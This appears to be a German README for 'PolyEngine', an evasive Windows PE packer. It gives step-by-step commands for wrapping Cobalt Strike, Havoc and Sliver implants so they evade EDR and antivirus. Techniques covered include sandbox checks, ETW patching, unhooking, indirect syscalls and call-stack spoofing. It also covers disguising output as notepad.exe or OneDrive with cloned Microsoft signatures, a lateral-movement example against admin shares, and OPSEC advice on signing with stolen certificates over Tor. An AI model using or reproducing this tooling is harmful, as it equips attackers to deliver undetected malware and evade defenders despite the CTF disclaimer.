Zurück zu den Updates
UpdatedJul 28, 2026

PolyEngine — Updated!

PolyEngine ist ein evasiver PE-Packer für CTF-Challenges und die Ausbildung in Low-Level-Windows-Sicherheit. Er umgeht EDR- und AV-Heuristiken durch einen mehrschichtigen Stack aus In-Memory-Ausführung und Verschleierungstechniken.

Teilen

PolyEngine — Polymorpher PE-Packer 📦

PolyEngine ist ein forschungsorientierter, evasiver PE-Packer, der für CTF-Herausforderungen und Low-Level-Windows-Sicherheitsbildung entwickelt wurde. Er konzentriert sich auf die Umgehung von EDR- und AV-Heuristiken durch einen geschichteten Stapel von In-Memory-Ausführungs- und Verschleierungstechniken.

Dies ist ein Nebenprojekt, an dem ich schon einige Zeit arbeite. Ich habe Claude Code verwendet, um einige Techniken zu implementieren und zu korrigieren, die ich in meinem eigenen PE-Packer umsetzen wollte. Es gibt viele Kommentare zu Funktionen und deren Funktionsweise, da es für mich eine große Lernerfahrung war – und Claude macht das fehlerfrei (ich bin darin schlecht). Ich hoffe, es hilft manchen Menschen, etwas über Windows-Interna zu lernen oder beim Umgehen einiger AVs und statischer Erkennungen von fortschrittlicheren Lösungen, wenn du dich an diese ProLabs wagst 🏯.

🔥 Ein großes Dankeschön an MalDevAcademy für das gesamte Material, um es zu erstellen, und für die Inspiration.

🌩 Danke an vx-underground für die Inspiration durch einen albernen Tweet mit einer lächerlichen Katze.

Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests, CTF-Wettbewerbe und Bildungszwecke bestimmt. Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist untersagt. Der Autor übernimmt keine Haftung für Missbrauch.


Verwendung

Build-Reihenfolge: Zuerst Stub, dann Builder. Stub Release|x64 erzeugt stub_v0.bin..stub_v3.bin; der Builder bettet eines in .rsrc ein.

Stell sicher, dass sich stub_v0.bin..stub_v3.bin im Arbeitsverzeichnis befinden (oder übergib --stub).``` Builder.exe [OPTIONS]

Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable

Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)

Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]

Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)

OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)

Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above

Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).

Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx

---

## Beispiele

Ausgearbeitete Beispiele, nach Szenario gruppiert. Jedes Flag ist opt-out (Evasion ist standardmäßig vollständig aktiviert), sodass bereits der einfachste Aufruf den vollen Stack erhält.

<details>
<summary><b>Grundlegendes Packen - EXE / DLL / shellcode</b></summary>

Packe eine nicht verwaltete EXE. Der Builder erkennt den `MZ`-Header automatisch und leitet über den RunPE-Pfad weiter:```
Builder.exe implant.exe packed.exe

Packe rohen positionsunabhängigen Shellcode (Cobalt Strike .bin, msfvenom -f raw, usw.). Kein MZ → direkter Aufruf in den dekomprimierten Puffer:``` Builder.exe beacon.bin packed.exe

Packen Sie eine DLL und rufen Sie nur deren Standard-`DllMain` auf (kein Export):```
Builder.exe payload.dll packed.exe

Verwenden Sie einen Stub aus einem nicht standardmäßigen Speicherort:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin

</details>

<details>
<summary><b>DLL-Payloads mit Exports - Havoc / Sliver / Custom-Beacons</b></summary>

Rufen Sie einen benannten Export auf, nachdem `DllMain` zurückkehrt. Die meisten C2-Implants werden als DLL mit einem einzigen Einstiegsexport ausgeliefert (z. B. Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive

Übergib ein String-Argument an den Export (max. 127 Zeichen). Nützlich für Payloads, die eine Konfigurationszeichenfolge, URL oder einen Shell-Befehl entgegennehmen:``` Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage" Builder.exe loader.dll packed.exe --export Run --arg "C:\Windows\System32\calc.exe"

`--keep-alive` ist für jede Payload erforderlich, die eigene Threads erzeugt – ohne sie ruft der Loader `ExitProcess` auf und beendet die Beacon.

</details>

<details>
<summary><b>Langlaufende Implants (C2-Beacons)</b></summary>

Cobalt Strike / Sliver / Havoc erzeugen alle einen Beacon-Thread und kehren zurück. Der Loader-Thread muss enden, ohne den Prozess zu beenden:```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive
Module-Stomping-Voreinstellungen – Auswahl einer Host-DLL

Der Entschlüsseler-Stub ist im .text-Abschnitt einer harmlosen Windows-DLL versteckt. Wählen Sie die Voreinstellung, deren geladene Module für den Zielkontext am legitimsten aussehen:``` Builder.exe implant.exe packed.exe --preset PRINT Builder.exe implant.exe packed.exe --preset MEDIA Builder.exe implant.exe packed.exe --preset NETWORK Builder.exe implant.exe packed.exe --preset RANDOM

`PRINT` (Standard) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Auf den meisten Workstations verbreitet.
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Passt zu einem Payload, der bereits geladene Netzwerk-APIs benötigt.
`RANDOM` - drei zufällige Indizes aus dem gesamten Pool (einschließlich `bcrypt.dll`, idx 9).

Wechsel vom `LoadLibraryW`-Stomping zur `NtCreateSection`+`NtMapViewOfSection`-Überladung (DLL gelangt nie in `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
Unhooking im EDR-Userland

Stelle saubere .text-Bytes für ntdll, kernel32, kernelbase aus \KnownDlls\ über alle EDR-Inline-Hooks wieder her. HellsHall umgeht bereits sensible Nt*-Hooks; --unhook wird nur benötigt, wenn der Payload selbst gehookte Win32-APIs aufruft (z. B. LoadLibrary, CreateProcess):``` Builder.exe implant.exe packed.exe --unhook Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive

</details>

<details>
<summary><b>PEB-Spoofing - Tarnung des Prozesses</b></summary>

Überschreibe den automatisch ausgewählten Spoof-Namen. Wähle etwas, das zum übergeordneten Prozess / Startkontext passt (Office-Makro → `RuntimeBroker.exe` sieht seltsam aus, `WmiPrvSE.exe` fügt sich besser ein):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe

Der Spoof-Name ist nur ein ASCII-Dateiname - Stub stellt C:\Windows\System32\ zur Laufzeit voran. Alles, was nicht im standardmäßigen 9-Prozess-Pool liegt, funktioniert ebenfalls.

Feinabstimmung der Evasionsschwellen

Längere Hammer-Verzögerung gegen geduldige Sandboxen, die mehrere Sekunden lang laufen, bevor sie ihr Urteil fällen:``` Builder.exe implant.exe packed.exe --hammer-s 10

Höhere Uptime-Schwelle – nur ausführen, wenn das System seit mindestens 30 Minuten läuft (die meisten Sandboxes starten eine frische VM pro Sample):```
Builder.exe implant.exe packed.exe --uptime-min 30

Strengere Sleep-Forwarding-Erkennung (kürzerer Schlaf, schwerer ohne beobachtbaren Fehler vorzuspulen):``` Builder.exe implant.exe packed.exe --sleep-fwd-ms 200

Benutzerdefinierter Semaphorname für die Exec-Control-Prüfung (vermeidet Kollisionen mit einem anderen Sample, das das standardmäßige `wuauctl` verwendet):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync

Stapeln Sie alles für ein paranoides Profil:``` Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate

</details>

<details>
<summary><b>Deaktivieren von Funktionen für Debugging / Laborarbeit</b></summary>

Beim Durchlaufen im Debugger werden der TLS-Callback und die Debugger-Prüfungen sofort ausgelöst. Deaktivieren Sie beide, um sich frei anzuhängen:```
Builder.exe implant.exe packed.exe --disable tls,debugger

Skip every sandbox check (still keeps OPSEC features on - ETW patch, PEB spoof, call-stack spoof):``` Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files

Dasselbe, kürzer:```
Builder.exe implant.exe packed.exe --disable all

Deaktiviere bestimmte OPSEC-Funktionen (z. B. wenn die Zielumgebung kein ETW-Patching benötigt oder PEB-Spoof einen Payload beschädigt, der sein eigenes PEB durchläuft):``` Builder.exe implant.exe packed.exe --disable etw Builder.exe implant.exe packed.exe --disable peb,spoofing

`--disable all` deckt nur Sandbox-/Debug-Checks ab. OPSEC-Tokens (`etw`, `spoofing`, `peb`, `tls`) müssen explizit aufgelistet werden.

</details>

<details>
<summary><b>Identitätsklonen — VERSIONINFO, Icon, Authenticode-Zertifikat</b></summary>

Kopiere die kosmetische Identität einer beliebigen Spender-PE in die gepackte Ausgabedatei. Die Explorer-Eigenschaften, das Taskleisten-Symbol und der Tab „Digitale Signaturen“ der Ausgabedatei spiegeln alle den Spender wider:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"

Was geklont wird:

  • VERSIONINFO (RT_VERSION) — die Registerkarte „Eigenschaften → Details“ im Explorer: Firma, Produktname, Dateiversion, Copyright. Alle im Spender vorhandenen Sprach-IDs werden kopiert.
  • Icon (RT_GROUP_ICON + RT_ICON) — die Icon-Gruppe mit der niedrigsten ID (diejenige, die der Explorer für das Shell-Icon verwendet). Taskleiste, Alt-Tab und Dateibrowser zeigen alle das Icon des Spenders.
  • Authenticode-Zertifikatsverzeichnis — der rohe WIN_CERTIFICATE-PKCS#7-Blob wird am 8-Byte-ausgerichteten Dateiende angehängt. Die Registerkarte „Eigenschaften → Digitale Signaturen“ im Explorer zeigt den Unterzeichner des Spenders (z. B. Microsoft Windows). Get-AuthenticodeSignature gibt Status = HashMismatch zurück — die Signatur ist strukturell gültig, aber der Hash deckt die Bytes des Spenders ab, nicht unsere. Verhindert nur eine beiläufige visuelle Prüfung; jeder echte Prüfer (signtool verify, WinVerifyTrust, AV-Engines) erkennt die Abweichung.

OPSEC — OriginalFilename: Das VERSIONINFO des Spenders bettet OriginalFilename ein (z. B. notepad.exe). Einige Signaturprüfer und Defender-Heuristiken melden eine Abweichung zwischen OriginalFilename und dem tatsächlichen Dateinamen auf der Festplatte. Benenne die Ausgabe entsprechend:``` Builder.exe implant.exe notepad.exe --clone-meta notepad.exe

**Kombination mit `--pfx`:** Wenn beide Flags vorhanden sind, läuft Phase 11 (Klonen) vor Phase 12 (Signieren). Die echte Signatur überschreibt das geklonte Zertifikatverzeichnis; VERSIONINFO und Icon bleiben erhalten. `Get-AuthenticodeSignature` zeigt Ihr Zertifikat als gültig, nicht das Zertifikat des Spenders mit nicht übereinstimmendem Hash:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2

Verifizierung:```powershell

Fake cert clone (no --pfx): expect HashMismatch, donor signer

Get-AuthenticodeSignature .\notepad.exe | Format-List *

Real signature (--pfx): expect Valid, your cert

Get-AuthenticodeSignature .\notepad.exe | Format-List *

signtool independent check

signtool verify /pa /v notepad.exe

</details>

<details>
<summary><b>UAC-Erhöhung — requireAdministrator-Manifest</b></summary>

Betten Sie ein `requestedExecutionLevel="requireAdministrator"`-Manifest ein, sodass die ausgegebene PE beim Start eine UAC-Eingabeaufforderung auslöst und ein Token mit hoher Integrität erhält, wenn der Benutzer zustimmt:```
Builder.exe implant.exe packed.exe --uac

Das Manifest ist eine RT_MANIFEST-Ressource (Ressourcen-ID 1 — CREATEPROCESS_MANIFEST_RESOURCE_ID), derselbe Slot, den der Windows-Loader für Anwendungskompatibilitäts- und Berechtigungsmanifeste prüft. Die Ausgabe ist ansonsten identisch mit einem Build ohne --uac; es gibt keine Änderungen am Stub- oder Payload-Pfad.

Kombination mit --clone-meta und --pfx: Phase 10.5 (Manifest) läuft vor Phase 11 (Klonen) und Phase 12 (Signieren). Die in Phase 12 berechnete Authenticode-Signatur deckt alle eingebetteten Ressourcen einschließlich des Manifests ab — der Hash ist über die endgültige Binärdatei gültig. Der UAC-Dialog zeigt den Herausgebernamen aus dem Signierzertifikat:``` Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2

**OPSEC:** Eine UAC-Eingabeaufforderung ist ein sichtbares, benutzerorientiertes Ereignis. Der Dialog „Möchten Sie zulassen, dass diese App Änderungen an Ihrem Gerät vornimmt?" zeigt den Dateinamen auf der Festplatte und den Authenticode-Herausgeber (oder „Unbekannter Herausgeber", falls nicht signiert) an. Kombinieren Sie `--uac` mit `--clone-meta`, um ein vertrautes Symbol anzuzeigen, und `--pfx`, um einen glaubwürdigen Herausgeber anzuzeigen. Für unbeaufsichtigte Ausführungen, die bereits aus einem erhöhten Prozess starten (z. B. Dienst, WMI-Seitenbewegung, lokale Admin-Shell), ist `--uac` nicht erforderlich.

</details>

<details>
<summary><b>Authenticode-Signierung (PFX, ohne signtool)</b></summary>

Signieren Sie die gepackte Ausgabe mit einem PFX-Zertifikat. Der Builder kommuniziert direkt mit `mssign32!SignerSignEx2` — kein `signtool.exe` auf der Workstation des Bedieners, kein Windows-SDK-Signierungstool erforderlich:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2

PFX ohne Passwort (das --pfx-pass-Flag vollständig weglassen):``` Builder.exe implant.exe packed.exe --pfx cert.pfx

Füge einen Zeitstempel gemäß RFC 3161 hinzu, damit die Signatur gültig bleibt, nachdem das Zertifikat abläuft oder widerrufen wird. Beachte, dass die Zeitstempel-Autorität die Build-IP und den genauen Zeitpunkt der Signierung protokolliert — siehe den OPSEC-Hinweis unten:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1

OPSEC — wann der Zeitstempel übersprungen werden sollte: --ts-url ist opt-in. Jede Anfrage an eine öffentliche TSA bringt den Build-Host des Operators in die HTTP-Logs der TSA, zusammen mit der genauen Sekunde, in der die Signatur erstellt wurde — eine starke forensische Korrelation, falls die Probe später in der Incident-Response auftaucht. Das Einbetten des Zeitstempels stempelt denselben Moment auch in den Signatur-Blob innerhalb der gepackten PE, wo ihn jeder spätere Analyst lesen kann. Wenn kein Zeitstempel erforderlich ist (typisch für selbstsignierte Zertifikate oder kurzlebige Operationen, bei denen die Gültigkeit der Signatur über das Ablaufdatum des Zertifikats hinaus keine Rolle spielt), lasse das Flag weg, und das Signieren bleibt vollständig air-gap-fähig.

OPSEC — wann der Zeitstempel beibehalten werden sollte: Gestohlene oder kurzlebige Code-Signatur-Zertifikate, die widerrufen werden, profitieren von einer TSA-Gegensignatur — Windows akzeptiert die Signatur nach dem Widerruf, solange der Zeitstempel vor dem Widerrufseintrag liegt. In diesem Fall signiere von einer isolierten VM über einen Proxy / Tor und behandele die Logs der TSA als bewusste (aber begrenzte) Offenlegung.

Der private Schlüssel wird nie persistiert: PFXImportCertStore wird mit PKCS12_NO_PERSIST_KEY aufgerufen, sodass kein Schlüsselcontainer unter %APPDATA%\Microsoft\Crypto erscheint. SHA-256-Digest, CNG-bevorzugter KSP für Kompatibilität mit PFXs, die von New-SelfSignedCertificate und OpenSSL ≥3.x erzeugt wurden.

Realistische Kombinationen

Cobalt Strike-Beacon-DLL, netzwerkthematischer Host, vollständige Evasion, benutzerdefinierter Mutex-Name:``` Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate

Havoc Demon-Shellcode, Überladen statt Stomping, längere Hammer-Verzögerung:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6

Stage-2 EXE für ein CTF, bei dem du den Auslöser kontrollierst und kein Anti-Debugging benötigst:``` Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger

Helper-DLL für Lateral Movement mit einem Pfadargument:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook

Langzeit-Implantat, getarnt als gängige Microsoft-Binärdatei, vollständiger Evasion-Stack:``` Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10

Gepacktes Beispiel mit einem echten selbstsignierten Zertifikat + passender VERSIONINFO-Identität:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test

Build

Nur Visual Studio 2022 (MSVC v143), Release|x64. Öffnen Sie PolyEngine.sln.

Die Build-Reihenfolge ist wichtig:

  1. Stub-Projekt (Release|x64) → MSBuild-Fan-out erzeugt x64/Release/stub_v0.binstub_v3.bin (POLY_VARIANT=0..3)
  2. Builder-Projekt → erzeugt Builder/x64/Release/Builder.exe (oder Solution-OutDir)

Jede stub_v*.bin ist eine PE mit ausschließlich dem Linker-Einstiegspunkt EntryPoint (kein CRT). Die Varianten unterscheiden sich in der OPSEC-Phasenreihenfolge und dem Decoy-/Island-Layout; HellsHall/Moonwalk bleiben gemeinsam. Der Builder wählt zufällig eine davon aus dem aktuellen Arbeitsverzeichnis (oder über --stub) aus, führt StubMorph aus und bettet die Nutzlast dann unter einer pro Build vergebenen RT_RCDATA-ID ein.

MASM: Stub.vcxprojHellsHall.asm; Builder → Engine/DecryptorStub.asm. Kein CMake, kein Makefile.

So fügen Sie einen neuen API-Hash hinzu: Berechnen Sie Djb2HashA("ApiName") (gleicher Algorithmus wie in ApiHashing.cpp), fügen Sie eine g_Hash_*-Globale in ApiHashing.h hinzu und initialisieren Sie sie in ApiHashing_InitHashes().


Architekturübersicht

Drei Komponenten implementieren eine Packen → Verschlüsseln → Injizieren-Pipeline: Builder verpackt die Eingabe-PE/den Shellcode, Engine (gemeinsame Bibliothek) stellt Krypto-/Kompression-/Mutations-Primitive bereit, Stub ist der in die Ausgabe-PE eingebettete Laufzeit-Executor.

Detaillierter Pipeline- und Stub-Ausführungsablauf``` Builder.exe ├── picks loader stub (random stub_v0..v3.bin, or --stub ) ├── reads target PE or raw shellcode (.bin) ├── LZNT1 compress ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key) ├── MutationEngine → unique polymorphic ASM decryptor per build ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices ├── XTEA-CTR encrypt (outer layer) ├── BuildInfectedPE: │ ├── patch TLS guard marker (--disable tls) │ ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID │ ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize │ ├── write stub → output PE │ └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata] ├── (optional) UAC manifest / clone-meta / Authenticode sign └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload) ├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs ├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags) ├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls) ├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind) ├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3): │ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb │ (HellsHall.asm + g_Spoof* layout identical in every variant) ├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload); │ LZNT1 decompress; restore stomped .text └── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode); keep-alive: ExitThread (PE) or Sleep park (raw SC)

</details>

---

## Evasionstechniken

<details>
<summary><b>Loader-Varianten — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>

Stub-Release|x64 erzeugt **vier** Loader über MSBuild (`POLY_VARIANT=0..3`, eigenes `IntDir`). Jedes Binary hat eine andere OPSEC-Phasenreihenfolge und pro Variante unterschiedliche Decoy-/Island-Größen (`PolyIslands.c`), sodass sich die statischen Hashes unterscheiden. Gemeinsam und **niemals** variantenverzweigt: `HellsHall.asm`, SilentMoonwalk-Datenlayout (`g_SpoofSyntheticStack`), TLS-/ResID-Marker-Tags.

| Variante | `Loader_OpsecPhase`-Reihenfolge |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |

Builder ohne `--stub` wählt zufällig aus `stub_v0.bin`..`stub_v3.bin` im aktuellen Arbeitsverzeichnis (CWD) (`CryptGenRandom`). `--stub <path>` erzwingt eine Datei.

</details>

<details>
<summary><b>StubMorph zur Packzeit</b></summary>

Nach den TLS-/ResID-Marker-Patches und vor dem Schreiben der Ausgabe-PE mutiert `StubMorph_Apply` (`Engine/StubMorph.c`) das gewählte Loader-Image an Ort und Stelle:

- plausibler `TimeDateStamp`, gezogen aus **[now−5y, now]** — ein vollständig zufälliger DWORD kann in der Zukunft liegen, was ein Heuristik-Flag ist
- Toolchain-Profil-Sektionsnamen (MSVC-/MinGW-/Delphi-/NSIS-Stil, pro Build ausgewählt; überspringt `.rsrc`, `.reloc`, `.tls`, `.CRT`) — zufällige 8-Zeichen-Namen würden UPX-artige Packer-Heuristiken auslösen
- `IMAGE_DIRECTORY_ENTRY_DEBUG` löschen + PE-Prüfsumme (später neu berechnet, falls `--pfx`)
- POLY-Island-Paddings neu schreiben (`50 4C 59 A0` … `AF`-Marker in `PolyIslands.c`, einschließlich des `g_PolyDecoy`-Islands) mit Zufallsbytes der **gleichen Länge**, dann die Tag-Marker selbst randomisieren — kein `PLY`-Muster oder fester Decoy-Inhalt überlebt in der Ausgabe-PE; kein PE-Wachstum, keine Reloc-Fixups

HellsHall, Spoof-Globale oder Marker-Tags, die vom TLS-/ResID-Patching verwendet werden, bleiben unberührt.

</details>

<details>
<summary><b>Indirekte Syscalls — HellsHall</b></summary>

Alle sensiblen NT-Operationen (`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`, usw.) laufen über indirekte Syscalls statt über die gehookten User-Mode-Stubs in der Prozess-ntdll:

1. Beim Start parst `Syscalls_Init()` das Exportverzeichnis der Prozess-ntdll und sammelt die RVA jeder `Zw*`-Funktion in einer flachen Tabelle.
2. SSNs werden durch **RVA-Sortierung** abgeleitet (HellsGate/FreshyCalls-Variante): Alle `Zw*`-RVAs werden sortiert; sortierter Index == SSN. Hook-agnostisch by Design — funktioniert selbst dann, wenn EDR-Hooks Funktionsprologe umgeschrieben haben, denn Hooks ändern die Reihenfolge der Exporte nicht.
3. Ein `syscall; ret` (`0F 05 C3`)-Trampolin wird innerhalb der `.text`-Sektion der Prozess-ntdll lokalisiert. Die 3-Byte-Sequenz ist der Standard-Anhang jedes `Nt*`-Stubs. EDR-Userland-Inline-Hooks zielen auf den *Einstiegspunkt* exportierter `Nt*`-Funktionen (erste 5–15 Bytes) — niemals auf die Syscall-Instruktion am Ende des Stubs, da das Patchen der Mitte eines Stubs dessen Semantik brechen würde. Die Bytes an jeder passenden Stelle sind daher unverändert, identisch mit einem sauberen `\KnownDlls\`-Mapping, und liegen im MEM_IMAGE-Speicher, der durch `C:\Windows\System32\ntdll.dll` auf der Platte gestützt wird. `g_CleanTrampoline` zeigt direkt dorthin — kein sekundäres ntdll-Mapping, keine MEM_PRIVATE-Kopie.
4. Alle Syscalls springen zu `g_CleanTrampoline` — EDR-Hooks an den Einstiegspunkten exportierter Nt*-Funktionen werden umgangen. Aus der Perspektive eines ETW-Kernel-Stack-Walkers landet der Leaf-Frame bereits in `ntdll.dll` (kein „unbacked syscall“-IOC).

</details>

<details>
<summary><b>Userland-Unhooking — <code>--unhook</code></b></summary>

Optionaler Durchlauf, der einmal nach `Syscalls_Init()` und vor jedem payload-relevanten Syscall ausgeführt wird. Für jede der Dateien `ntdll`, `kernel32`, `kernelbase`:

1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — saubere Image-Bytes (dieselbe gemeinsame Sektion, aus der der Loader ursprünglich gemappt hat, bevor ein EDR Hooks installieren konnte).
2. Seitenweises `memcmp` des Live-`.text` gegen die saubere Kopie.
3. Wo sich Bytes unterscheiden (= EDR-Inline-Hook): `NtProtect RX→RW`, `memcpy` der sauberen Bytes über den Hook, `NtProtect RW→RX`.
4. Unmapping und Schließen.

Dies stellt die normale `ntdll.dll`-/`kernel32.dll`-/`kernelbase.dll`-Semantik für alle nachfolgenden Win32-Aufrufe wieder her (PEB-Walks, `LoadLibrary`, usw.). Wird übersprungen, wenn `--unhook` weggelassen wird — HellsHall umgeht bereits für sich allein alle sensiblen `Nt*`-Hooks, daher ist Unhooking optional (eine schwerwiegendere Aktion mit einem geringen Risiko, ungewöhnliche Hook-Layouts zu brechen).

</details>

<details>
<summary><b>Call-Stack-Spoofing — SilentMoonwalk-RSP-Pivot</b></summary>

EDRs überwachen den Thread-Call-Stack in dem Moment, in dem ein Syscall ausgelöst wird, um zu verifizieren, dass die Aufruferkette legitim aussieht. PolyEngine kontert dies mit einem **RSP-Pivot im SilentMoonwalk-Stil** — keine Hardware-Breakpoints, kein VEH-Handler, keine Ausnahmen:

1. `StackSpoof_Init()` durchsucht die `.text`-Sektion von ntdll (und jede andere `IMAGE_SCN_MEM_EXECUTE`-Sektion) nach zwei Gadgets:
   - **Gadget 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) innerhalb einer Funktion, deren `UNWIND_INFO` ein passendes `imm8`-Allokationsdelta angibt. Eingeschränkt auf `imm8 < 0x20`, damit die Kette nicht mit weitergegebenen Stack-Argumenten kollidiert.
   - **Gadget 2** — `jmp rbx` (`FF E3`), per Roh-Byte-Scan in einer beliebigen ausführbaren Sektion lokalisiert, aber nur akzeptiert, wenn die passende Stelle in einer `RUNTIME_FUNCTION` liegt, deren `UNWIND_INFO` sauber geparst wird. Das `allocDelta` der Funktion bestimmt, wo `RtlUserThreadStart` auf dem synthetischen Stack platziert wird; ein Gadget ohne passende Runtime-Funktion würde also die EDR-sichtbare Kette brechen. In die Mitte einer längeren Instruktion zu springen ist in Ordnung — die CPU dekodiert `FF E3` ab der Gadget-Adresse, unabhängig vom vorherigen Byte.
2. Ein statisches `g_SpoofSyntheticStack[32]` ist so angeordnet, dass das `ret` des Trampolins gadget1 → gadget2 → zurück zum Fortsetzungspunkt des Loaders läuft, wobei `RtlUserThreadStart` weiter unten als scheinbare Thread-Wurzel platziert ist.
